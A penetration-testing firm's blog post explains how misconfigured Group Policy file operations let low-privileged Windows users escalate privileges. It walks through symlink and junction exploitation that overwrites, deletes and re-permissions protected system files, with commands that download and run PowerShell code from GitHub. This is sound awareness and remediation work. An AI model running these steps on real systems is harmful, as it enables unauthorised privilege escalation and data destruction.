Deploying Files via Group Policies or How Group Policy Updates Can Ruin Your Day

20. October 2022

During a workstation assessment in the beginning of 2021, we identified a trivial privilege escalation vulnerability occurring during Group Policy Updates. The vulnerability itself was not exploitable by default but relied on a misconfiguration. However, this kind of misconfiguration seemed likely to occur in other environments too, so we informed Microsoft about the issue. They did not consider it security relevant.

From this point on, the first thing we did when getting access to an Active Directory in an assessment was checking for this kind of misconfiguration. It was as expected: We identified similar issues in 90% of the analyzed environments, although not all of them led to privilege escalation.

With this blog post, we want to increase awareness for this issue and hopefully help other security analysts and system administrators to identify and fix it.

Performing File Operations via Group Policy Updates

Windows Group Policies are used to control and define the working environment of users and computers within Active Directory. They provide a great amount of control and allow to centrally manage Windows settings across an organization. From an offensive perspective, Group Policies have been mostly discussed in the context of access permissions (as for example in this excellent article by Andy Robbins) or when extracting credentials
out of Group Policy Preference files (as outlined in this blog post by Bill Harshbarger). However, Group Policies can contain many other interesting configuration settings and perform operations that are interesting from an offensive perspective. Among these are file operations.

Group Policies can be used to deploy files, folders and access permissions across domain joined computers. This may sound uncommon, but from our experience it is used by many organizations to deploy globally used scripts and templates, to create folders that require a specific set of permissions or to remove legacy components that
may still be available on some workstations. File system operations can be configured using the Group Policy Management Editor:

01 example policy
Deploying Files via Group Policies or How Group Policy Updates Can Ruin Your Day 8

The example above demonstrates how a template file can be deployed to all computers within a domain, but why is this dangerous? Well, there are several examples available where file system operations during Group Policy Updates have been abused for privilege escalation (e.g. this one from CyberArk or this one from Andrea Pierini).
The underlying principle of these attacks is basically the same: A file system symbolic link is used to redirect file
operations from the high privileged GPSVC service to different locations within the file system.

02 attack vector
Deploying Files via Group Policies or How Group Policy Updates Can Ruin Your Day 9

How difficult it is to identify this kind of vulnerabilities depends on your goal. When you are only interested in exploitation opportunities from your current user account, creating a HTML report using gpresult /R report.html is usually sufficient. A configuration like the one demonstrated above can be found in Settings -> Preferences -> Windows Settings -> Files within this report:

03 gpresult
Deploying Files via Group Policies or How Group Policy Updates Can Ruin Your Day 10

If your intent is to find this kind of vulnerabilities globally within a domain, your best chance is probably to use a sufficiently high privileged user and to use Group Policy Management Editor to inspect all file and folder-based GPOs manually. If you only have a low privileged user available, you can attempt to find vulnerable policies manually by inspecting the SYSVOL share of the domain controller. Enrollment policies for files and folders are usually stored in XML files named Files.xml and Folders.xml:

PS C:\> Get-ChildItem -Recurse \\DC01\SYSVOL Files.xml

    Directory: \\DC01\SYSVOL\usdlab.test\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences\Files


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        8/30/2022  12:11 PM            464 Files.xml


PS C:\> type "\\DC01\SYSVOL\usdlab.test\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences\Files\Files.xml"
<?xml version="1.0" ?>
<Files clsid="{215B2E53-57CE-475c-80FE-9EEC14635851}">
    <File clsid="{50BE44C8-567A-4ed1-B1D0-9234FE1F38AF}" name="Template.docx" status="Template.docx" image="1" changed="2022-08-30 10:11:52" uid="{C11D27EA-661B-48FB-862B-5A2F595E50CD}">
        <Properties action="R" fromPath="\\SRV02\Documents\Template.docx" targetPath="%AppData%\OfficeTemplates\Template.docx" readOnly="0" archive="1" hidden="0" suppress="0"/>
    </File>
</Files>

Another nice trick to identify potentially vulnerable files and folders is looking for unexpected file ownership. Files within your %AppData% folder owned by Administrators or NT Authority\SYSTEM were obviously created with high privileges. Tools like PowerEnum can be used to quickly identify such files:

PS C:\> IEX(New-Object Net.WebClient).downloadString("https://raw.githubusercontent.com/qtc-de/PowerEnum/main/PowerEnum.ps1")
PS C:\> Get-ChildItem C:\Users\tdancer\AppData -Recurse -Force -File | Get-AccessiblePath -ExcludeOwner tdancer | fl
...
AccessiblePath    : C:\Users\tdancer\AppData\Roaming\OfficeTemplates\Template.docx
Owner             : NT AUTHORITY\SYSTEM
IdentityReference : USDLAB\tdancer
Permissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}

Attack Vectors

Depending on the type of file operation that is performed, different attacks are possible. For this blog post, we have summarized the three most common vulnerability types we have encountered.

Overwriting Arbitrary Files

The ability to overwrite arbitrary files on a workstation is by far the most common vulnerability we identified.
Group Policies that deploy files to user writable locations in C:\ProgramData or %AppData% are often used by
organizations and redirecting these file operations to different locations is usually possible. As an example,
assume we found the following Group Policy definition within an HTML report created with gpresult:

04 file overwrite
Deploying Files via Group Policies or How Group Policy Updates Can Ruin Your Day 11

This GPO is dangerous, as the target can be written to by the user:

PS C:\Users\tdancer\AppData\Roaming> icacls .\OfficeTemplates
.\OfficeTemplates NT AUTHORITY\SYSTEM:(OI)(CI)(F)
                  BUILTIN\Administrators:(OI)(CI)(F)
                  USDLAB\tdancer:(OI)(CI)(F)

We can now use SharpLink to create a symbolic link at the targeted file location and redirect the operation to a different location:

PS C:\> $code = (iwr https://raw.githubusercontent.com/usdAG/SharpLink/main/SharpLink.cs -UseBasicParsing).content
PS C:\> Add-Type $code
PS C:\> del C:\Users\tdancer\AppData\Roaming\OfficeTemplates\Template.docx
PS C:\> $s = New-Object de.usd.SharpLink.Symlink("C:\Users\tdancer\AppData\Roaming\OfficeTemplates\Template.docx", "C:\Windows\win.ini")
PS C:\> $s.Open()
[+] Creating Junction: C:\Users\tdancer\AppData\Roaming\OfficeTemplates -> \RPC CONTROL
[+] Creating DosDevice: Global\GLOBALROOT\RPC CONTROL\Template.docx -> \??\C:\Windows\win.ini
[+] Symlink setup successfully.
PS C:\> dir C:\Windows\win.ini

    Directory: C:\Windows


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        9/15/2018   9:31 AM             92 win.ini

PS C:\> gpupdate /force
Updating policy...

Computer Policy update has completed successfully.
User Policy update has completed successfully.

PS C:\> dir C:\Windows\win.ini


    Directory: C:\Windows


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        2/28/2017   5:41 PM       10762150 win.ini

Obviously, since the written content is not user controlled, such a vulnerability can usually only be used for denial-of-service attacks. However, as outlined in this blog post by Andrea Pierini, the source location of file operations is sometimes writable. This allows turning an uncontrolled file write into a fully controlled file write, resulting in a reliable privilege escalation.

Deleting Arbitrary Files

Being able to delete arbitrary files is almost as common as the overwriting scenario described above. Consider an organization realizes that a certain resource is no longer required but was already deployed to all workstations. Group Policies can be used to easily clean this up. We have encountered rules like the one in the following example during many engagements:

05 file delete
Deploying Files via Group Policies or How Group Policy Updates Can Ruin Your Day 12

Exploitation in this case is even easier than for the file overwrite. Instead of working with symbolic links, we can just create a Junction using the builtin mklink utility. Wiping data from a protected folder? No problem!

C:\ProgramData\USOShared\Logs>dir
 Volume in drive C has no label.
 Volume Serial Number is DC98-0A9A

 Directory of C:\ProgramData\USOShared\Logs

30/08/2022  10:01    <DIR>          .
30/08/2022  10:01    <DIR>          ..
11/12/2019  09:16             8.192 NotificationUx.001.etl
10/12/2019  13:54             8.192 NotificationUx.002.etl
10/12/2019  13:33             8.192 NotificationUx.003.etl
10/12/2019  09:00             8.192 NotificationUx.004.etl
<SNIP>

C:\ProgramData\USOShared\Logs>icacls NotificationUx.001.etl
NotificationUx.001.etl NT AUTHORITY\SYSTEM:(I)(F)
                       BUILTIN\Administrators:(I)(F)
                       usdlab\Julia:(I)(F)
                       BUILTIN\Users:(I)(RX)

C:\ProgramData\USOShared\Logs>del NotificationUx.001.etl
C:\ProgramData\USOShared\Logs\NotificationUx.001.etl
Access is denied.

C:\ProgramData\USOShared\Logs>mklink /J C:\Users\tdancer\AppData\Roaming\OfficeTemplates C:\ProgramData\USOShared\Logs
Junction created for C:\Users\tdancer\AppData\Roaming\OfficeTemplates <<===>> C:\ProgramData\USOShared\Logs

C:\ProgramData\USOShared\Logs>gpupdate /force
Updating policy...

Computer Policy update has completed successfully.
User Policy update has completed successfully.

C:\ProgramData\USOShared\Logs>dir
 Volume in drive C has no label.
 Volume Serial Number is DC98-0A9A

 Directory of C:\ProgramData\USOShared\Logs

30/08/2022  10:51    <DIR>          .
30/08/2022  10:51    <DIR>          ..
               0 File(s)              0 bytes
               2 Dir(s)     238.686.208 bytes free

While file deletion vulnerabilities can obviously be used for denial-of-service attacks, in many cases they can also be exploited for privilege escalation. One example can be found in this article by Jonas L, but on typical workstations with many third-party software components, the whole C:\ProgramData folder is an interesting target in general. Several products run high privileged processes or services that rely on files within C:\ProgramData. Many of them do not change the inherited directory permissions and only configure restrictive permissions for files contained in those directories. This allows low privileged users write access to those directories. Being able to delete files and to replace them with other content often results in privilege escalation.

Permission Modification on Arbitrary Files

Permission modifications have usually been the most dangerous Group Policy configurations. Luckily, we have not encountered them often. Configuring them needs to be done in the Computer Configuration section of the Group Policy Management Editor:

06 configure permissions
Deploying Files via Group Policies or How Group Policy Updates Can Ruin Your Day 13

One example for this situation was an organization, that used central Log folder C:\Internal\Logs for storing all log output generated by internally used tools. Since this log folder was also supposed to work for shared workspaces, modify permissions were assigned via Group Policies and the corresponding rule looked roughly like this:

07 file permission
Deploying Files via Group Policies or How Group Policy Updates Can Ruin Your Day 14

Unfortunately, the folder C:\Internal was under the control of low privileged user accounts. Therefore, by removing the C:\Internal\Logs folder and replacing it with Junction or symbolic link, the permission assignment could be redirected to arbitrary resources:

PS C:\internal> $code = (iwr https://raw.githubusercontent.com/usdAG/SharpLink/main/SharpLink.cs -UseBasicParsing).content
PS C:\internal> Add-Type $code
PS C:\internal> rmdir .\logs\ -Force
PS C:\internal> $s = New-Object de.usd.SharpLink.Symlink("C:\internal\logs", "C:\Windows\system.ini")
PS C:\internal> $s.Open()
[+] Creating Junction: C:\internal -> \RPC CONTROL
[+] Creating DosDevice: Global\GLOBALROOT\RPC CONTROL\logs -> \??\C:\Windows\system.ini
[+] Symlink setup successfully.
PS C:\internal> icacls C:\Windows\system.ini
C:\Windows\system.ini NT AUTHORITY\SYSTEM:(I)(F)
                      BUILTIN\Administrators:(I)(F)
                      BUILTIN\Users:(I)(RX)
                      APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                      APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files
PS C:\internal> gpupdate /force
Updating policy...

Computer Policy update has completed successfully.
User Policy update has completed successfully.

PS C:\internal> icacls C:\Windows\system.ini
C:\Windows\system.ini APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(RX)
                      NT AUTHORITY\SYSTEM:(F)
                      BUILTIN\Administrators:(F)
                      BUILTIN\Users:(F)

Successfully processed 1 files; Failed processing 0 files

Turning this vulnerability in a privilege escalation can be done in several ways, e.g. by overwriting service binaries or DLL hijacking.

Identifying a misconfiguration as the one described above can be tricky. If you have a sufficiently high privileged user account, the computer policies are usually displayed within a report when running gpresult (you can also use the /SCOPE:Computer option to request them explicitly). When using a low privileged user, you may not be allowed to view computer policies using gpresult. However, you can still find corresponding policies within the
SYSVOL share of the domain controller:

PS C:\> Get-ChildItem -Recurse \\DC01\SYSVOL | Select-String "File Security" -List | Select Path

Path
----
\\DC01\SYSVOL\usdlab.test\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf


PS C:\> type "\\DC01\SYSVOL\usdlab.test\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
[Unicode]
Unicode=yes
[System Access]
MinimumPasswordAge = 1
MaximumPasswordAge = 90
MinimumPasswordLength = 8
PasswordComplexity = 1
PasswordHistorySize = 24
LockoutBadCount = 0
RequireLogonToChangePassword = 0
ForceLogoffWhenHourExpire = 0
ClearTextPassword = 0
LSAAnonymousNameLookup = 0
[Kerberos Policy]
MaxTicketAge = 10
MaxRenewAge = 7
MaxServiceAge = 600
MaxClockSkew = 5
TicketValidateClient = 1
[Version]
signature="$CHICAGO$"
Revision=1
[Privilege Rights]
SeMachineAccountPrivilege = *S-1-5-21-561523361-3746362414-1812353783-512
[Registry Values]
MACHINE\System\CurrentControlSet\Control\Lsa\NoLMHash=4,1
[File Security]
"%SystemDrive%\internal\logs",0,"D:PAR(A;OICI;0x1200a9;;;S-1-15-2-1)(A;OICIIO;FA;;;CO)(A;OICI;FA;;;SY)(A;OICI;FA;;;BA)(A;OICI;FA;;;BU)"

Conclusion and Recommendation

Performing file operations via *Group Policies* is a powerful mechanism for deploying and managing files and resources required by multiple computers across the domain. But with power comes responsibility. When using such policies, administrators should be aware that file operations targeting user-controlled parts of the file system can be redirected to different locations. Therefore, it is recommended to avoid such policies and only to use them when the targeted location is known to be secure. Organizations should check their existing *Group Policy* configuration for possible misconfigurations.

  • All policies that deploy, modify or remove files, folders or permissions should be reviewed.
  • It should be checked whether the source or destination of the operation is located in a user controlled part of the file system.
  • Vulnerable policy definitions should be replaced by a secure alternative.

Additionally, if vulnerable policy definitions were identified in your organisation, indicators for already occurred attacks should be searched for.

### September Update

As outlined by Andrea Pierini, with the 2022 September update, Microsoft configured Redirection Trust for the
Group Policy Client service, which is responsible for applying Group Policies to domain joined systems. Redirection Trust is a relatively new feature which is described in more detail within this great blog post by Gal De Leon. It basically blocks high privileged service accounts from accessing File System Junctions that were created by low privileged user accounts. This feature is a great security improvement and could block attacks as described above. That being said, James Forshaw already outlined that the solution may not be bullet proof at this point.

Also interesting:

Security Advisories for Apache Tomcat

The analysts at usd HeroLab examined the popular Open Source Web Server Apache Tomcat as part of their security analyses. Two vulnerabilities were identified, which made it...

read more

Security Advisories for Filerun

The analysts at usd HeroLab examined Filerun as part of their security analyses. This revealed two vulnerabilities that allowed the deletion of arbitrary comments from other...

read more